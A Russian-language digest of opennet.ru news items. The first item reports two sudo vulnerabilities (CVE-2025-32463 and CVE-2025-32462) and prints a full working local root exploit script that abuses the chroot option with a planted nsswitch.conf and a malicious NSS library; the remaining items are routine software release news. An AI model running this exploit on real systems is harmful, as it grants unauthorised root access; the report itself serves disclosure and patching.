Уязвимости в утилите sudo, позволяющие получить права root в системе
В пакете sudo, применяемом для организации выполнения команд от имени других пользователей, выявлена уязвимость (CVE-2025-32463), позволяющая любому непривилегированному пользователю выполнить код с правами root, даже если пользователь не упомянут в конфигурации sudoers. Проблеме подвержены дистрибутивы, использующие файл конфигурации /etc/nsswitch.conf, например, возможность эксплуатации уязвимости продемонстрирована в Ubuntu 24.04 и Fedora 41.
Уязвимость проявляется в конфигурации по умолчанию и подтверждена в выпусках sudo с 1.9.14 по 1.9.17 (потенциально затрагивает все версии, начиная с 1.8.33). Проблема устранена в обновлении sudo 1.9.17p1. Проверить состояние новой версии пакета или подготовки исправления в дистрибутивах можно на следующих страницах (если страница недоступна, значит разработчики дистрибутива ещё не приступили к рассмотрению проблемы): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).
Проблема вызвана тем, что при применении опции "-R" ("--chroot") для запуска команд в chroot-окружении с выбранным пользователем корневым каталогом, файл /etc/nsswitch.conf загружался в контексте нового корневого каталога, а не системного каталога. Так как пользователь может использовать в качестве корневого каталога для chroot собственный каталог, он может разместить в нём файл конфигурации nsswitch.conf. Контролируя загружаемый подсистемой NSS (Name Service Switch) файл /etc/nsswitch.conf, пользователь может добавить в него настройки, приводящие к вызову дополнительных обработчиков. Подобные обработчики загружаются NSS в форме разделяемых библиотек, которые также можно разместить в подконтрольном пользователю каталоге. Подставив свою библиотеку пользователь может добиться выполнения из неё кода с правами root, так как обработка NSS производится до сброса привилегий.
Пример эксплоита:
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c‹EOF
#include
#include
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
В версии sudo 1.9.17p1 также устранена ещё одна уязвимость (CVE-2025-32462), позволяющая выполнить команды с правами root, но проявляющаяся только в конфигурациях sudoers, параметр "host" в которых выставлен в значение, отличное от ALL или имени текущего хоста. Уязвимость вызвана ошибкой, из-за которой опция "-h" ("--host") действовала не только в сочетании с опцией "-l" ("--list") для вывода привязанных к хосту привилегий, но и при запуске команд. Таким образом пользователь мог указать при вызове sudo любой хост и обойти ограничения правил sudoers, привязанных к имени хоста.
Для совершения атаки пользователь должен упоминаться в sudoers, например, если в настройках указано "testuser testhost = ALL", то пользователь "testuser" мог указать "sudo -h testhost" и запустить команды с правами root на любых хостах, а не только на хосте testhost. Уязвимости не подвержены конфигурации с настройками вида "testuser ALL = ALL" или без явных правил для конкретного пользователя.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63505
Обновление Steam Client для Linux с включением по умолчанию Proton для запуска Windows-игр
Компания Valve опубликовала июньское обновление клиента сервиса доставки игр Steam для Linux. Выпуск примечателен включением по умолчанию пакета Proton для запуска игр, не имеющих родной сборки для Linux. Ранее для данной возможности требовалось отдельно активировать опцию "Enable SteamPlay for other titles" в настройках. Также в версии для Linux ускорена установка обновлений, которая в некоторых ситуациях занимала минуты, а теперь выполняется за несколько секунд.
Из общих улучшений отмечается сокращение времени запуска Steam Client для игроков с очень большим числом игр, добавленных не через Steam. Реализована система отслеживания производительности игр, выводимая поверх экрана (In-Game Overlay) и показывающая детальную информацию о частоте кадров, потреблении ресурсов CPU и производительности GPU. В данном выпуске режим мониторинга доступен только для Windows, а для Linux его обещают включить в одном из следующих обновлений.
Одновременно опубликовано обновление операционной системы SteamOS 3.7.13, основанной на Arch Linux. В новой версии помимо исправлений ошибок, таких как регрессии в работе Wi-Fi на Steam Deck OLED, реализована поддержка кнопок питания для платформ AYANEO, AYN, GPD, MSI, ONEXPLAYER и OrangePi. Для разработчиков в udisk добавлены модули
btrfs и lvm2.
Число игр для Linux, доступных в каталоге Steam, доведено до 16139. По данным сервиса Steam Database, пользователи Linux запускают 4025 игр через Steam. Пятёрка игр, наиболее популярных у пользователей Linux: Counter-Strike 2, Dota 2, Banana, Stardew Valley, Team Fortress 2.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63504
Выпуск Phosh 0.48.0, GNOME-окружения для смартфонов
Опубликован релиз Phosh 0.48, экранной оболочки для мобильных устройств, основанной на технологиях GNOME и библиотеке GTK. Окружение изначально развивалось компанией Purism в качестве аналога GNOME Shell для смартфона Librem 5, но затем вошло в число неофициальных проектов GNOME и используется в postmarketOS, Mobian, Droidian, некоторых прошивках для устройств Pine64 и редакции Fedora для смартфонов. Phosh использует композитный сервер Phoc, работающий поверх Wayland, а также собственную экранную клавиатуру squeekboard. Наработки проекта распространяются под лицензией GPLv3+.
Среди изменений:
- Добавлен новый плагин для хранителя экрана, позволяющий управлять воспроизведением в мультимедийных проигрывателях, используя протокол MPRIS.
- Предоставлена возможность написания плагинов на языке Vala.
- Включён по умолчанию показ диалога Cell Broadcast с широковещательными сообщениями от сотового оператора.
- В конфигуратор phosh-mobile-settings добавлена панель для настройки категорий принимаемых широковещательных сообщений от сотовых операторов. Добавлена поддержка настройки категорий показываемых системных уведомлений. Добавлена опция для управления показом индикатора клавиатуры в экранной панели.
- В композитном сервере Phoc задействованы библиотеки wlroots 0.19.0 и добавлена поддержка Wayland-протоколов shortcuts-inhibit (назначение клавиатурных комбинаций),
ext-image-capture-source-v1 и ext-image-capture-copy-v1 (захват контента, выводимого на экран). Улучшена поддержка протокола wp_presentation_time_v2. Реализована поддержка адаптивного изменения частоты обновления монитора (adapative-sync). Обеспечено сохранение и восстановление настроек вывода на экран.
- В gmobile, набор обработчиков для работы GNOME на мобильных устройствах, для смартфонов Fairphone 5 и FuriPhone FLX1 реализована поддержка кнопки выхода из ждущего режима. Обеспечено преобразование кодов стран из представления MCC в ISO.
- Экранная клавиатура phosh-osk-stub переименована в Stevia. Добавлена раскладка клавиатуры "us+dvorak".
- Обновлены версии зависимостей:
wlroots 0.19.0,
GNOME 48,
Calls 48.2,
cellbroadcastd 0.0.2,
feedbackd 0.8.3,
feedbackd-device-themes 0.8.4 и
callaudiod 0.1.10.
wys 0.1.12
mmsd-tng 2.6.3
Источник: https://www.opennet.ru/opennews/art.shtml?num=63503
Выпуск дистрибутива Альт Образование 11.0
Компания "Базальт СПО" выпустила новую версию дистрибутива Linux для образовательных организаций — «Альт Образование» 11.0, построенного на основе 11 платформы ALT (p11). Дистрибутив предназначен для повседневного использования дошкольными организациями, школами, вузами, средними специальными учебными заведениями. Продукт распространяется в рамках Лицензионного договора, который предоставляет возможность свободного использования физическими лицами. Коммерческие и государственные организации могут загружать и тестировать дистрибутив, но для постоянной работы в корпоративной инфраструктуре юридическим лицам необходимо приобретать лицензии или заключать лицензионные договоры в письменной форме. Сборки подготовлены для платформ x86_64 и AArch64.
"Альт Образование" позволяет создавать и интегрировать рабочие места для учеников, студентов, преподавателей. Необходимый комплект программ можно выбрать на этапе установки ОС либо скачать в любое время из специального мета-пакета. Дистрибутив обеспечивает централизованное управление учебным классом, автоматизированную одновременную установку на несколько рабочих мест, поддерживает гостевые сеансы, может работать в гетерогенной сети, совместим с образовательными веб-сервисами и отечественным ПО, работает с интерактивными досками. В процессе установки системы пользователи могут выбрать графическую среду Xfce или KDE Plasma.
Основные изменения по сравнению с прошлой веткой:
- Обновлены версии пакетов, например, Xfce 4.20.1, KDE Plasma 6.3, ядро Linux 6.12, Perl 5.38.4, Python 3.12.7/2.7.18, PHP 8.3.19, GCC 13.2.1,
LibreOffice 24.8.5.2, Chromium 136.0.7103.113, Wine 9.0.14, GIMP 3.0.2, wxMaxima 24.05.0, Scribus 1.7.0, Inkscape 1.4, Blender 4.3.0, Moodle 4.5, Lazarus 4.0, QGIS 3.42, Python IDLE 3.12.
- Прекращено формирование образов для 32-битных архитектур.
- Вместо Xfce по умолчанию предложена среда рабочего стола KDE Plasma 6 на базе Wayland. Xfce доступен как опция.
- Добавлено приложение "Альт Центр" (altcenter) для просмотра информации о системе, настройки, установки и удаления компонентов. Связанные с настройкой возможности вынесены из инсталлятора в altcenter.
- В инсталляторе предоставлена возможность настройки сети на стадии до начала установки пакетов.
- Из дистрибутива удалены средства организации видеоконференцсвязи, itest, scilab и monodevelop.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63501
Ubuntu будет поставлять intel-compute-runtime без защиты от Spectre, снижающей производительность на 20%
В Ubuntu решено перейти по умолчанию на поставку пакета intel-compute-runtime, собранного с флагом NEO_DISABLE_MITIGATIONS, отключающим защиту от атак класса Spectre. По оценке разработчиков Ubuntu наличие подобной защиты приводит к снижению производительности пакета примерно на 20%.
Пакет intel-compute-runtime включает компоненты, необходимые для использования OpenCL и OneAPI Level Zero на системах с GPU Intel. При сборке поставляемых в пакете библиотек наличие сборочного флага NEO_DISABLE_MITIGATIONS приводит отключению в компиляторе опций "-mretpoline -mindirect-branch=thunk -mfunction-return=thunk -mindirect-branch-register", обеспечивающих дополнительную защиту от Spectre. На производительность OpenCL и операций на стороне GPU эти опции не влияют, но снижают накладные расходы при выполнении кода, отвечающего за работу API.
Инженеры, отвечающие за безопасность в Intel и Canonacal, в ходе обсуждения пришли к выводу, что в защите от Spectre, реализованной на уровне Compute Runtime, больше нет необходимости, так как необходимая защита уже имеется на уровне ядра. Имеющаяся в Compute Runtime защита от Spectre представляет интерес в основном для тех, кто использует ядра без должной защиты, и польза от неё не перекрывает наблюдаемое снижение производительности. Кроме того, предоставляемые Intel релизы Intel Graphics Compute Runtime собираются с выставлением по умолчанию флага NEO_DISABLE_MITIGATIONS, отключающего защиту.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63498
Доступен Cryptsetup 2.8 с поддержкой inline-режима хранения метаданных
Опубликован набор утилит Cryptsetup 2.8, предназначенных для настройки шифрования дисковых разделов в Linux при помощи модуля dm-crypt. Поддерживается работа с разделами dm-crypt, LUKS, LUKS2, BITLK, loop-AES и TrueCrypt/VeraCrypt. В состав также входят утилиты veritysetup и integritysetup для настройки контроля целостности данных на основе модулей dm-verity и dm-integrity.
Ключевые улучшения:
- Добавлена поддержка inline-режима, позволяющего использовать расширенные секторы с дополнительной областью для хранения метаданных. Подобные секторы поддерживаются некоторыми NVMe-накопителями, позволяющими помимо области с данными размещать в секторе и блок метаданных (например, 4096 байт под данные + 64 байт под метаданные).
Cryptsetup может использовать область метаданных в секторе для хранения служебной информации, что избавляет от необходимости задействования дополнительного слоя на базе
dm-integrity, отвечающего за выделение места под метаданные. Соответственно, можно обойтись без ведения журнала dm-integrity, являющегося узким местом, негативно влияющим на производительность.
В ядре Linux возможности, необходимые для работы inline-режима, присутствуют начиная с выпуска 6.11. Для включения inline-режима добавлена опция "--integrity-inline".
- Доведён до готовности API Keyslot Context для манипуляции со слотами ключей. Новый API позволил расширить функциональность многих существующих команд, такими функциями, как активация токенов, возобновления работы с приостановленным зашифрованным устройством и выполнение повторного шифрования (reencryption).
- В утилиту cryptsetup добавлены опции "--key-description" и "--new-key-description" для прикрепления описания к ключам.
- Добавлена возможность возобновления приостановленной операции повторного шифрования (reencryption), используя токен и ключи раздела.
- В реализацию команды "repair" добавлена проверка повреждения областей со слотами ключей LUKS.
- В команду veritysetup добавлена опция "--error-as-corruption" при которой любые ошибки обрабатываются как повреждение данных, соответственно можно настроить перезагрузку или переход в состояние panic при ошибках, в случае использования опций "--restart-on-corruption" и "--panic-on-corruption".
- Добавлена опциональная возможность использования библиотеки Mbed-TLS в качестве крипто-бэкенда (включается при сборке с опцией "--with-crypto_backend=mbedtls").
Источник: https://www.opennet.ru/opennews/art.shtml?num=63497
Выпуск Hangover 10.11, пакета для запуска Windows-приложений на системах ARM64
Опубликован релиз инструментария Hangover 10.11, позволяющего запускать 32-разрядные Windows-приложения, собранные для архитектур x86 (i386) и ARM32, в окружениях на базе архитектуры ARM64 (Aarch64). В разработке находится реализация варианта Hangover для архитектуры RISC-V. Наработки проекта распространяются под лицензией LGPL 2.1.
Hangover заметно обгоняет по производительности конфигурации, в которых Wine запускается целиком в режиме эмуляции, так как при использовании Hangover эмулятор применяется только для выполнения кода самого приложения, а все системные вызовы, библиотеки и компоненты Wine выполняются вне эмулятора в родном для текущей платформы исполнении (Hangover разрывает цепочку эмуляции на уровне обращений к win32 и wine). В слое эмуляции могут использоваться FEX и Box64, в зависимости от предпочтений пользователя. Начата, но пока не завершена работа по поддержке эмулятора Blink.
Среди изменений в версии 10.11:
- Прекращена поддержка использования QEMU в слое эмуляции. Вместо трёх систем эмуляции в проекте оставлены только две - FEX и Box64.
- Выполнена синхронизация с кодовой базы Wine 10.11.
- Состояние эмулятора Box64 обновлено до актуальной кодовой базы из Git.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63496
Автор Node.js добивается отмены торговой марки JavaScript
Райан Даль (Ryan Dahl), создатель JavaScript-платформ Node.js и Deno, добивается отзыва у компании Oracle торговой марки "JavaScript". Первым шагом стала публикация в прошлом году открытого письма к компании Oracle c призывом отказаться от торговой марки JavaScript, так как данное слово стало общеупотребительным термином, не связанным с конкретными продуктами Oracle и широко используемым людьми и компаниями.
Компания Oracle никак не отреагировала на призыв и Райан попытался добиться отмены торговой марки в Агентстве по патентам и товарным знакам США (USPTO). В Апелляционный совет по товарным знакам (TTAB) было направлено ходатайство об отмене торговой марки, в котором были указаны три претензии: введение в заблуждение при продлении торговой марки, использование торговой марки на термин общего назначение и неиспользование торговой марки в продуктах её владельца.
Несколько дней назад Апелляционный совет отклонил первую претензию, суть которой в том, что во время продления своих прав на торговую марку "JavaScript" в 2019 году компания Oracle ввела USPTO в заблуждение и указала сведения не соответствующие действительности. В качестве демонстрации своих продуктов, использующих торговую марку "JavaScript", компания Oracle привела скриншот с сайта платформы Node.js, которая никак не связана c Oracle и никогда не была её продуктом. Райан не согласен с данным решением, но не намерен тратить ресурсы на его оспаривание, так как это лишь затянет разбирательство на месяцы.
Решено сосредоточить усилия на оставшихся двух претензиях - общем характере термина "JavaScript" и неиспользовании торговой марки в продуктах Oracle:
- Слово "JavaScript" повсеместно используется для описания языка программирования, определяемого спецификацией ECMA-262, а не бренда или продукта компании Oracle, которая никак не связана с эволюцией языка JavaScript. Термин JavaScript используется миллионами разработчиков по всему миру, независимо от Oracle. Компания Oracle никогда не контролировала процесс разработки спецификации или использование языка. В соответствии с действующим в США законодательством, слова, ставшие общими терминами, не могут оставаться торговыми марками.
- Торговая марка "JavaScript" досталась компании Oracle вместе с активами Sun Microsystems и на практике напрямую не ассоциируется ни с одним из продуктов Oracle. Язык JavaScript стандартизирован ассоциацией Ecma, управляется рабочей группой TC39 и реализуется такими компаниями, как Apple, Google и Mozilla. Законодательство США считает заброшенными (abandoned) торговые марки, неиспользуемые в течение трёх лет.
До 7 августа представители Oracle должны предоставить в USPTO ответы на все пункты, указанные в ходатайстве об отмене торговой марки. После этого 6 сентября в USPTO начнётся разбирательство. Более 20 тысяч разработчиков подписали петицию о том, что торговая марка "JavaScript" не служит общественным интересам и мешает отрасли.
Отмечается, что наличие действующей торговой марки вынуждает компании, развивающие продукты, связанные с языком JavaScript, действовать в серой зоне, используя данное название постольку, поскольку компания Oracle пока не заявляет никаких требований. Например, из-за опасений возможных претензий со стороны Oracle так и не была создана "Конференция JavaScript". Предполагается, что Oracle
удерживает торговую марку, которую не использует, для сохранения влияния на экосистему, в которой больше не участвует.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63494
Дистрибутив Artix Linux начал поставку сборок с XLibre, форком X.Org Server
Разработчики дистрибутива Artix Linux представили экспериментальные сборки, переведённые на использование XLibre, форка X.Org Server. Artix Linux основан на пакетной базе Arch Linux и примечателен использованием вместо systemd системных менеджеров openrc, runit, dinit и s6, на выбор пользователя. Для тестирования сформированы XLibre-сборки с рабочими столами Xfce, Cinnamon и MATE, размером 2 ГБ, а также полная сборка, размером 4.6 ГБ. В скором времени XLibre намерены задействовать и в основных сборках дистрибутива. Пользователи существующих установок Artix Linux могут перейти на XLibre, установив пакет xlibre-xserver и необходимые драйверы xlibre-xf86-* из репозитория "galaxy-gremlins".
Источник: https://www.opennet.ru/opennews/art.shtml?num=63492
Опубликован Wayback, композитный сервер Wayland для запуска рабочих столов на базе X11
Ариадна Конилл (Ariadne Conill), создатель музыкального проигрывателя Audacious, инициатор разработки протокола IRCv3 и лидер команды по обеспечению безопасности Alpine Linux, опубликовала начальную реализацию прослойки Wayback, позволяющей запускать десктоп-окружения, завязанные на протокол X11, используя компоненты на базе Wayland. Код проекта написан на языке Си и распространяется под лицензией MIT (в файле с кодом указано общественное достояние - CC0).
Проект предоставляет композитный сервер Wayland, ограниченный возможностью запуска полноэкранного сеанса X11 при помощи Xwayland. Wayback развивается для упрощения ухода от поставки классического X.org Server в дистрибутиве Alpine. Предполагается, что оставление в дистрибутиве только компонентов, необходимых для Wayland и Xwayland, сократят затраты на сопровождение X11-приложений в Alpine.
Wayback использует библиотеку wlroots от проекта Sway, в которой реализованы базовые примитивы для построения композитных серверов на базе Wayland. Код Wayback основан на tinywl, эталонном композитном сервере от разработчиков wlroots, функциональность которого была урезана до минимума, достаточного для обособленного запуска Xwayland.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63491
Представлен Tyr, Linux-драйвер для GPU ARM Mali, написанный на Rust
Дэниел Алмейда (Daniel Almeida), занимающийся развитием видеокодеков в компании Collabora, опубликовал в списке рассылки разработчиков Linux-ядра начальную реализацию драйвера Tyr для GPU ARM Mali, в которых применяется технология CSF (Сommand Stream Frontend), таких как Mali G310, G510 и G710. Код драйвера написан на языке Rust и насчитывает чуть больше 600 строк кода. Работа над драйвером Tyr ведётся совместно сотрудниками компаний Collabora, Arm и Google.
В качестве каркаса для создания нового драйвера использованы компоненты абстрактного драйвера rust_platform_driver и драйвера Nova, развиваемого для GPU NVIDIA, написанного на Rust и частично добавленного в ядро 6.15. Функциональность для взаимодействия с GPU Mali портирована из существующего DRM-драйвера Panthor (Direct Rendering Manager), написанного на языке Си. uAPI драйвера Tyr идентичен uAPI драйвера Panthor, что позволяет использовать с ним уже существующие компоненты пространства пользователя.
Технология CSF, применяемая начиная с 10 поколения GPU Mali, примечательна выносом на сторону прошивки некоторых функций драйвера и задействованием новой модели организации выполнения работ на GPU.
В GPU с интерфейсом CSF вместо модели на основе отправки цепочки работ применяется модель на основе потока команд с планированием очереди потока команд на стороне прошивки. Для организации работы планировщика в GPU встроен отдельный микроконтроллер Cortex-M7, а для выполнения инструкций CSF предусмотрен специальный блок выполнения команд (Command Execution Unit).
Функциональность Tyr пока отстаёт от драйвера Panthor, но разработчики намерены постепенно сокращать разрыв до тех пор пока не будет достигнут паритет в возможностях драйверов. Недостающие функции требуют интеграции в ядро дополнительных абстракций для создания драйверов на Rust, поэтому развитие драйвера Tyr будет синхронизировано с добавлением в ядро данных абстракций. Например, в ядре пока отсутствуют возможности для маппинга памяти в Rust-драйверах для GPU, развиваемые в ещё не принятом наборе патчей GPUVM.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63490
Линус Товальдс намерен исключить Bcachefs из ядра Linux 6.17
Очередная дискуссия между Линусом Торвальсом и Кентом Оверстритом (Kent Overstreet), автором Bcachefs, завершилась тем, что Линус выразил готовность исключить код Bcachefs из ядра Linux 6.17. При этом Линус принял в состав ядра 6.16 изменения в Bcachefs, ставшие предметом очередного недовольства действиями Кента. Линус написал:
Я считаю, что наши пути разойдутся в окне слияния 6.17.
Вы очень ясно дали понять, что я не могу подвергать сомнению какие-либо исправления ошибок и должен просто принимать всё подряд.
Честно говоря, я не чувствую себя особо комфортно, будучи вовлечённым во всё это, и единственное, с чем мы оба, похоже, действительно согласились в обсуждении, это то, что "мы закончили".
Предшествовавшая данному заявлению переписка с Кентом велась в личном порядке и детали пока не ясны. Тем не мене, в обсуждении данной темы Кент написал, что возможно его слова в частной переписке были неправильно истолкованы и он не считает, что BcacheFS следует исключить из ядра. При этом он готов к прекращению поставки Bcachefs в основном составе ядра Linux и это не убьёт проект, хотя и будет огромной проблемой. В случае удаления Bcachefs разработка будет продолжена и данная ФС станет распространяться в форме модуля DKMS. Кент также отметил, что исключение BcacheFS из ядра будет лучшим вариантом для его с Линусом спокойствия, но явно не станет лучшим решением для пользователей и сообщества разработчиков.
Споры между Кентом и Линусом вызваны постоянными нарушениями правил отправки изменений и исправлений в ядро. Кент считает, что исправления проблем в ФС должны продвигаться безотлагательно и любыми возможными способами. Линус настаивает на том, что функциональные изменения и крупные исправления допускаются на начальной стадии разработки новой ветки ядра, а поздние кандидаты в релизы сосредоточены только на исправлении ошибок. Кент регулярно нарушает данное правило и присылает крупные изменения в неподходящий момент, что приводит к недовольству Линуса и к новой волне споров. Ранее Линус уже предупреждал Кента о желании удалить Bcachefs из основного ядра, так как Кент продолжает играть один в своей песочнице, не подключается к совместной работе и не желает принимать правила игры сообщества разработчиков ядра.
В случае с ядром 6.16 Кент отправил для включения в обновление RC3 набор патчей, среди которых был патч с реализацией новой опции "journal_rewind". Линус написал, что Кент забыл о том, что после закрытия окна приёма функциональных изменений добавление новой функциональности в ядро не допускается, даже если она связана с исправлением других ошибок, так как добавление новых возможностей на поздних стадиях формирования релиза может привести к регрессиям. Кроме того, Bcachefs продолжает позиционироваться как экспериментальная ФС и оперативность устранения ошибок в ней не является столь критичным.
Кент ответил, что главная цель разработки - предоставить пользователям работающий код, поэтому он не намерен уступать в вопросах, касающихся исправления ошибок, влияющих на сохранение целостности данных. В отличие от других подсистем ошибки в ФС не решаются перезагрузкой и могут приводить к повреждению данных, поэтому, по мнению Кента, откладывание их исправления до следующего окна приёма изменений недопустимо, даже если подобные исправления требуют внесения крупных изменений.
Добавленная опция "journal_rewind" откатывала изменения в журнале для сброса ФС в более раннее состояние. Кент считает, что новая опция должна быть включена безотлагательно, так как она решает проблему с восстановлением ФС у пользователей, столкнувшихся с ошибкой при удалении подразделов и не имеющих резервной копии. Вначале Линус отказался принимать набор патчей с данным изменением в ядро 6.16-RC3, но после личной переписки с Кентом изменил свою позицию и принял изменения в кодовую базу, на основе которой формируется обновление 6.16-RC4.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63489
В KDE добавлена поддержка инерционной прокрутки и продолжена реализация восстановления сеанса
Нейт Грэм (Nate Graham), разработчик, занимающийся контролем качества в проекте KDE, опубликовал очередной отчёт о разработке KDE. Наиболее заметным изменением стало добавление в ветку KDE Frameworks 6.16 поддержки инерционной прокрутки при помощи тачпада (при прокрутке колесом мыши инерционность не применяется), которая может использоваться во всех прокручиваемых областях приложений, использующих QtQuick.
Вторым важным новшеством является реализация в ветке Qt 6.10 поддержки Wayland-протокола xx-session-management-v1, который может использоваться для организации восстановления состояния окон прерванного сеанса в окружениях на основе протокола Wayland, например, после аварийного завершения композитного сервера или приложения. Поддержка нового протокола в Qt открывает двери для реализации средств для восстановления сеанса в Plasma и приложениях KDE.
Недавние изменения в ветке KDE 6.5:
- Во встроенном RDP-сервере реализована поддержка синхронизации между клиентом и сервером текста, находящегося в буфере обмена.
- В уведомление с информацией об уведомлениях, пропущенных из-за активации режима "Не беспокоить", добавлена кнопка для быстрого просмотра пропущенных уведомлений.
- В приложение Welcome Center добавлено пояснение по использованию комбинаций клавиш.
- В менеджере буфера обмена добавлена кнопка для копирования показываемого QR-кода в буфер обмена.
- Переделана кнопка для вызова интерфейса изменения пиктограммы, показываемая в окне со свойствами и приложениях на базе QtWidgets.
- В виджете управления сетевым соединением обозначены выполняемые действия и состояния, такие как поиск беспроводной сети.
- В конфигураторе на странице настройки принтеров улучшена информативность сообщений об ошибках, возникающих из-за отключённого сервиса.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63488
Выпуск Wine 10.11 и Wine staging 10.11
Опубликован экспериментальный выпуск открытой реализации Win32 API - Wine 10.11. С момента выпуска 10.10 было закрыто 25 отчётов об ошибках и внесено 292 изменения.
Наиболее важные изменения:
- Проведена подготовка к включению поддержки добавленного в ядро Linux 6.14 драйвера NTSync, реализующего символьное устройство /dev/ntsync и набор примитивов для синхронизации, применяемых в ядре Windows NT. Реализация подобных примитивов на уровне ядра позволяет существенно поднять производительность Windows-игр, запускаемых при помощи Wine. Значительный прирост производительности достигается благодаря избавлению от накладных расходов, связанных с применением RPC в пространстве пользователя. Например, при использовании драйвера ntsync по сравнению с реализацией примитивов синхронизации NT в пространстве пользователя максимальный FPS в игре Dirt 3 увеличился на 678%, в игре Resident Evil 2 - на 196%, Tiny Tina's Wonderlands - на 177%, Lara Croft: Temple of Osiris - на 131%, Call of Juarez - на 125%, The Crew - на 96%, Forza Horizon 5 - на 48%, Anger Foot - на 43%.
- В реализации языка описания интерфейса WIDL (Wine Interface Definition Language) расширена поддержка генерации метаданных Windows Runtime (WinRT).
- Закрыты отчёты об ошибках, связанные с работой приложений:
Mixcraft, Clang Static Analyzer, Anritsu Software Toolbox, WordPro, Far File Manager 3, Pegasus Email, EZNEC pro2+ 7.0.
- Закрыты отчёты об ошибках, связанные с работой игр:
Fallout 3, Diggles: The Myth of Fenris, Saya no Uta, C&C Generals Zero Hour, Genshin Impact, Purple Place, Kathy Rain 2, Among Us, Green Hell, Magic The Gathering Arena, Doom I & II Enhanced, Thief II, Bejeweled 3, Sid Meier's Civilization III.
Одновременно сформирован выпуск проекта Wine Staging 10.11, предоставляющего расширенные сборки Wine, включающие не полностью готовые или рискованные патчи, пока непригодные для принятия в основную ветку Wine. По сравнению с Wine в Wine Staging предоставляется 389 дополнительных патчей. В новом выпуске Wine Staging осуществлена синхронизация с кодовой базой Wine 10.11 и выполнен перенос в основной состав Wine патчей, связанных с поддержкой
NTSync.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63487
Выпуск Rust 1.88. Операционная система Munal и утилита rsched на Rust
Опубликован релиз языка программирования общего назначения Rust 1.88, основанного проектом Mozilla, но ныне развиваемого под покровительством независимой некоммерческой организации Rust Foundation. Язык сфокусирован на безопасной работе с памятью и предоставляет средства для достижения высокого параллелизма выполнения заданий, при этом обходясь без использования сборщика мусора и runtime (runtime сводится к базовой инициализации и сопровождению стандартной библиотеки).
Методы работы с памятью в Rust избавляют разработчика от ошибок при манипулировании указателями и защищают от проблем, возникающих из-за низкоуровневой работы с памятью, таких как обращение к области памяти после её освобождения, разыменование нулевых указателей, выход за границы буфера и т.п. Для распространения библиотек, обеспечения сборки и управления зависимостями проектом развивается пакетный менеджер Cargo. Для размещения библиотек поддерживается репозиторий crates.io.
Безопасная работа с памятью обеспечивается в Rust во время компиляции через проверку ссылок, отслеживание владения объектами, учёт времени жизни объектов (области видимости) и оценку корректности доступа к памяти во время выполнения кода. Rust также предоставляет средства для защиты от целочисленных переполнений, требует обязательной инициализации значений переменных перед использованием, лучше обрабатывает ошибки в стандартной библиотеке, применяет концепцию неизменяемости (immutable) ссылок и переменных по умолчанию, предлагает сильную статическую типизацию для минимизации логических ошибок.
Основные новшества:
- Добавлена возможность указания нескольких выражений "let" внутри условных блоков "if" и "while" с использованием для их объединения оператора "&&" (логическое И). Выражения "let" могут комбинироваться с булевыми условными выражениями. Переменные, объявленные в let-выражениях, можно использовать в последующих условных выражениях, а также внутри блоков "if" и "while".
if let Channel::Stable(v) = release_info()
&& let Semver { major, minor, .. } = v
&& major == 1
&& minor == 88
{
- Добавлена поддержка написания "голых" функций, помечаемых атрибутом "#[unsafe(naked)]" и содержащих внутри один вызов "naked_asm!". У созданных подобным образом функций отсутствует эпилог и пролог, сгенерированный компилятором, что позволяет разработчику полностью контролировать служебный ассемблерный код, прикрепляемый к функции ("голая" функция содержит только ассемблерные инструкции, указанные разработчиком и не включает специальные обработчики аргументов и возвращаемых значений, добавляемые компилятором).
"Голые" функции рассматриваются как более удобная альтернатива функциям, определяемым в блоке "global_asm!".
#[unsafe(naked)]
pub unsafe extern "sysv64" fn wrapping_add(a: u64, b: u64) -> u64 {
core::arch::naked_asm!(
"add rax, rdi, rsi",
"ret"
);
}
- В язык предикатов, применяемый в атрибутах условной компиляции "cfg" и "cfg_attr" (позволяют включать или отключать части кода в зависимости от заданных условий), добавлена поддержка
булевых литералов "true" и "false", которые отождествлены с конфигурациями, которые всегда включены или всегда отключены. Данные литералы также можно использовать в макросе "cfg!" и таблицах "[target]" в манифестах и конфигурациях для Cargo. Выражения cfg(true) и cfg(false) могут применяться вместо cfg(all()) и cfg(any()) для более явного выражения своих намерений.
- В пакетном менеджере Cargo включён автоматический запуск сборщика мусора для очистки кэша в домашнем каталоге пользователя. Ранее сохраняемые в кэше пакеты с загружаемыми зависимостями не очищались, что приводило к постоянному росту потребления дискового пространства. Включённый механизм сборки мусора будет автоматически удалять загруженные извне crate-файлы, к которым не было обращений более 3 месяцев, и локально установленные crate-файлы, к которым не обращались более месяца. Очиска кэша не запускается при использовании в crage опций "--offline" или "--frozen".
- В разряд стабильных переведена новая порция API, в том числе стабилизированы методы и реализации типажей:
- Признак "const" применён в функциях:
- Удалён второй уровень поддержки для целевой платформы i686-pc-windows-gnu.
Дополнительно можно отметить связанные с Rust события:
- Проект Munal OS развивает экспериментальную операционную систему, написанную на Rust и основанную на концепции unikernel. В Munal OS не применяется вытесняющая многозадачность, маппинг страниц памяти и виртуальное адресное пространство (используется раскладка памяти от UEFI). Ядро и приложения выполняются в одном адресном пространстве с применением модели безопасности на базе sandbox-изоляции WASM (в состав входит движок wasmi для запуска приложений в форме байткода WebAssembly).
